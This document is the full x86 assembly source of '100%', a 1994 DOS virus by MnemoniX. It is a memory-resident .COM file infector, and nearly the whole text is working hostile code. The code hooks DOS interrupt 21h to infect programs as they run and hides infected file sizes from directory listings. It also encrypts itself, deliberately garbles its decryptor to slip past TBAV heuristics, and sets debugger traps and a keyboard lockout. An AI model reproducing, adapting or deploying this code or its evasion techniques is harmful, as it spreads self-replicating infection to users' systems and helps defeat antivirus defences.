; =======================================================================>
;  100% By MnemoniX - 1994
;
;  This is a memory resident .COM infector which hides itself using
;  directory stealth (11/12 and 4E/4F). To avoid setting heuristic
;  flags in TBAV, it overwrites part of the decryption routine with
;  garbage and adds instructions to repair it on the header of the
;  program. Runs through TBAV flawlessly. Examine it in action and
;  observe for yourself.
;
;  This virus also includes debugger traps to thwart tracing.
; =======================================================================>

PING            equ     30F4h                   ; give INT 21 this value ...
PONG            equ     0DEADh                  ; if this returns we're res.
ID              equ     '%0'                    ; ID marker
HEADER_SIZE     equ     22                      ; 22 - byte .COM header
MARKER          equ     20                      ; marker at offset 20

code            segment byte    public  'code'
                org     100h
                assume  cs:code

start:
                db      17 dup (90h)            ; simulate infected program
                jmp     virus_begin             ; a real host program will
                dw      ID                      ; have some MOVs at the
host:
                db      0CDh,20h                ; beginning
                db      20 dup(90h)

virus_begin:
                db      0BBh                    ; mov bx,offset viral_code
code_offset     dw      offset virus_code
                db      0B8h                    ; mov ax,cipher
cipher          dw      0
                mov     cx,VIRUS_SIZE / 2 + 1   ; mov cx,length of code
decrypt:
                xor     [bx],ax                 ; in real infections,
                ror     ax,1                    ; portions of this code
                inc     bx                      ; will be replaced with
                inc     bx                      ; dummy bytes, which will be
                loop    decrypt                 ; fixed up by the header.
                                                ; this complicates scanning
virus_code:
                call    $+3                     ; BP is instruction pointer
                pop     bp
                sub     bp,offset $-1
                
                xor     ax,ax                   ; anti-trace ...
                mov     es,ax                   ; set interrupts 0-3 to point
                mov     di,ax                   ; to The Great Void in high
                dec     ax                      ; memory ...
                mov     cl,8
                rep     movsw
                
                mov     ax,PING                 ; test for residency
                int     21h
                cmp     bx,PONG
                je      installed

                in      al,21h                  ; another anti-debugger
                xor     al,2                    ; routine ... lock out
                out     21h,al                  ; keyboard
                xor     al,2
                out     21h,al

                mov     ax,ds                   ; not resident - install
                dec     ax                      ; ourselves in memory
                mov     ds,ax

                sub     word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
                sub     word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
                mov     ax,ds:[12h]
                mov     ds,ax

                sub     ax,15
                mov     es,ax
                mov     byte ptr ds:[0],'Z'
                mov     word ptr ds:[1],8
                mov     word ptr ds:[3],(MEM_SIZE + 15) / 16

                push    cs                      ; now move virus into memory
                pop     ds
                mov     di,100h
                mov     cx,(offset virus_end - offset start) / 2
                lea     si,[bp + offset start]
                rep     movsw

                xor     ax,ax                   ; change interrupt 21 to point
                mov     ds,ax                   ; to ourselves

                mov     si,21h * 4
                mov     di,offset old_int_21    ; (saving original int 21)
                movsw
                movsw

                mov     word ptr ds:[si - 2],0  ; anti-trace - temporarily
                                                ; kill int 21
                mov     ds:[si - 4],offset new_int_21
                mov     ds:[si - 2],es

installed:
                push    cs                      ; restore segregs
                push    cs
                pop     ds
                pop     es
                lea     si,[bp + offset host]   ; and restore original
                mov     di,100h                 ; bytes of program
                push    di
                mov     cx,HEADER_SIZE
                rep     movsb

                ret                             ; and we're done

; Interrupt 21 handler - trap file execute, search, open, read, and
; moves to the end of the file.

int_21:
                pushf
                call    dword ptr cs:[old_int_21]
                ret

new_int_21:
                cmp     ax,30F4h                ; residency test?
                je      test_pass               ; yes ....

                cmp     ax,4B00h                ; file execute?
                jne     stealth
                jmp     execute                 ; yes, infect ...

stealth:
                cmp     ah,11h                  ; directory stealth
                je      dir_stealth_1
                cmp     ah,12h
                je      dir_stealth_1

                cmp     ah,4Eh                  ; more directory stealth
                je      dir_stealth_2
                cmp     ah,4Fh
                je      dir_stealth_2

int_21_exit:
                db      0EAh                    ; never mind ...
old_int_21      dd      0

test_pass:
                call    int_21                  ; get real DOS version
                mov     bx,PONG                 ; and give pass signal
                iret

dir_stealth_1:
                call    int_21                  ; perform directory search
                cmp     al,-1                   ; no more files?
                jne     check_file
                iret                            ; no, skip it
check_file:
                push    ax bx es                ; check file for infection

                mov     ah,2Fh
                int     21h

                cmp     byte ptr es:[bx],-1     ; check for extended FCB
                jne     no_ext_FCB
                add     bx,7

no_ext_FCB:
                cmp     word ptr es:[bx + 9],'OC'
                jne     fixed                   ; not .COM file, ignore

                mov     ax,word ptr es:[bx + 17h]
                and     al,31                   ; check seconds -
                cmp     al,26                   ; if 52, infected
                jne     fixed

                sub     word ptr es:[bx + 1Dh],VIRUS_SIZE + HEADER_SIZE
                sbb     word ptr es:[bx + 1Fh],0
fixed:
                pop     es bx ax
                iret

dir_stealth_2:
                call    int_21                  ; perform file search
                jnc     check_file_2            ; if found, proceed
                retf    2                       ; nope, leave
check_file_2:
                push    ax bx si es

                mov     ah,2Fh                  ; find DTA
                int     21h

                xor     si,si                   ; verify that this is a .COM
find_ext:
                cmp     byte ptr es:[bx + si],'.'
                je      found_ext
                inc     si
                jmp     find_ext
found_ext:
                cmp     word ptr es:[bx + si + 1],'OC'
                jne     fixed_2                 ; if not .COM, skip

                mov     ax,word ptr es:[bx + 16h]
                and     al,31                   ; check for infection marker
                cmp     al,26
                jne     fixed_2                 ; not found, skip

                sub     word ptr es:[bx + 1Ah],VIRUS_SIZE + HEADER_SIZE
                sbb     word ptr es:[bx + 1Ch],0
fixed_2:
                pop     es si bx ax             ; done
                clc
                retf    2

execute:
                push    ax bx cx dx di ds es    ; file execute ... check
                                                ; if uninfected .COM file,
                mov     ax,3D00h                ; and if so, infect
                call    int_21
                jnc     read_header
                jmp     exec_exit               ; can't open, leave

read_header:
                xchg    ax,bx

                push    bx                      ; save file handle
                mov     ax,1220h                ; get system file table
                int     2Fh                     ; entry

                nop                             ; remove this if you don't
                                                ; mind scanning as [512] under
                                                ; SCAN ...

                mov     bl,es:[di]              ; get number of the SFT
                mov     ax,1216h                ; for this handle
                int     2Fh                     ; ES:DI now points to SFT
                pop     bx

                mov     word ptr es:[di + 2],2  ; change open mode to R/W

                push    word ptr es:[di + 13]   ; save file date
                push    word ptr es:[di + 15]   ; and file time

                mov     ax,word ptr es:[di + 11h]
                cmp     ax,62579 - VIRUS_SIZE   ; too big?
                je      exec_close

                cmp     ax,22                   ; too small?
                jb      exec_close

                add     ax,HEADER_SIZE - 3      ; calculate virus offset


                push    cs
                pop     ds

                mov     ds:virus_offset,ax

                mov     ah,3Fh                  ; read header of file
                mov     cx,HEADER_SIZE          ; to check for infection
                mov     dx,offset read_buffer
                call    int_21

                cmp     word ptr ds:read_buffer,'ZM'
                je      exec_close              ; don't infect .EXE

                cmp     word ptr ds:read_buffer[MARKER],ID  ; if infected
                je      exec_close              ; already, skip it

                mov     ax,4202h                ; move to end of file
                call    move_ptr_write

                mov     dx,offset read_buffer   ; and save header
                call    int_21

                call    encrypt_code            ; encrypt the virus code
                call    create_header           ; and create unique header

                mov     ah,40h
                mov     cx,VIRUS_SIZE           ; write virus code to file
                mov     dx,offset encrypt_buffer
                int     21h

                mov     ax,4200h                ; back to beginning of file
                call    move_ptr_write

                mov     dx,offset new_header    ; write new header
                call    int_21

                pop     dx                      ; restore file date & time
                pop     cx
                and     cl,0E0h                 ; but with timestamp
                or      cl,26
                mov     ax,5701h
                int     21h

                mov     ah,3Eh                  ; close file
                int     21h

exec_exit:
                pop     es ds di dx cx bx ax
                jmp     int_21_exit
                
move_ptr_write:
                cwd                             ; move file pointer
                xor     cx,cx
                int     21h
                mov     cx,HEADER_SIZE          ; and prepare for write 
                mov     ah,40h                  ; to file
                ret

exec_close:
                pop     ax ax                   ; clean off stack
                mov     ah,3Eh                  ; and close
                int     21h
                jmp     exec_exit

encrypt_code    proc    near

                push    si es

                push    cs
                pop     es

                xor     ah,ah                   ; get random no.
                int     1Ah                     ; and store in decryption
                mov     cipher,dx               ; module

                mov     ax,ds:virus_offset
                add     ax,DECRYPTOR_SIZE + 103h
                mov     code_offset,ax
                
                mov     si,offset virus_begin   ; first store header
                mov     di,offset encrypt_buffer
                mov     cx,DECRYPTOR_SIZE
                rep     movsb                   ; (unencryted)

                mov     cx,ENCRYPTED_SIZE / 2 + 1 ; now encrypt & store code

encrypt:
                lodsw                           ; simple encryption routine
                xor     ax,dx
                ror     dx,1
                stosw
                loop    encrypt

                pop     es si
                ret

encrypt_code    endp

create_header   proc    near

                mov     ax,ds:virus_offset      ; fix up addresses in new
                add     ax,103h + (offset decrypt - offset virus_begin)
                mov     ds:mov_1,ax             ; header
                inc     ax
                inc     ax
                mov     ds:mov_2,ax

                xor     ah,ah                   ; fill in useless MOVs
                int     1Ah                     ; with random bytes
                mov     ds:mov_al,cl
                mov     ds:mov_ax,dx

                push    es cs
                pop     es
                mov     di,offset encrypt_buffer
                add     di,offset decrypt - offset virus_begin
                mov     ax,dx                   ; now fill decryption module
                neg     ax                      ; with some garbage
                stosw
                rol     ax,1
                stosw
                pop     es

                sub     word ptr ds:virus_offset,17 ; fix up JMP instruction

                ret                             ; done
create_header   endp

new_header      db      0C7h,06
mov_1           dw      00
                db      31h,07                  ; first MOV            6
                db      0B0h
mov_al          db      00                      ; a nothing MOV AL,    2
                db      0C7h,06
mov_2           dw      00
                db      0D1h,0C8h               ; second MOV           6
                db      0B8h
mov_ax          dw      00                      ; a nothing MOV AX,    3
                db      0E9h                    ; jump instruction     1
virus_offset    dw      0                       ; virus offset         2
                dw      ID                      ; ID marker            2
                                                ; total bytes =       22

sig             db      '[100%] By MnemoniX 1994',0

virus_end:

VIRUS_SIZE      equ     offset virus_end - offset virus_begin

read_buffer     dw      HEADER_SIZE dup (?)     ; storage for orig header
encrypt_buffer  dw      VIRUS_SIZE dup (?)      ; storage for encrypted virus

heap_end:

MEM_SIZE        equ     offset heap_end - offset start
DECRYPTOR_SIZE  equ     offset virus_code - offset virus_begin
ENCRYPTED_SIZE  equ     offset virus_end - offset virus_code

code            ends
                end     start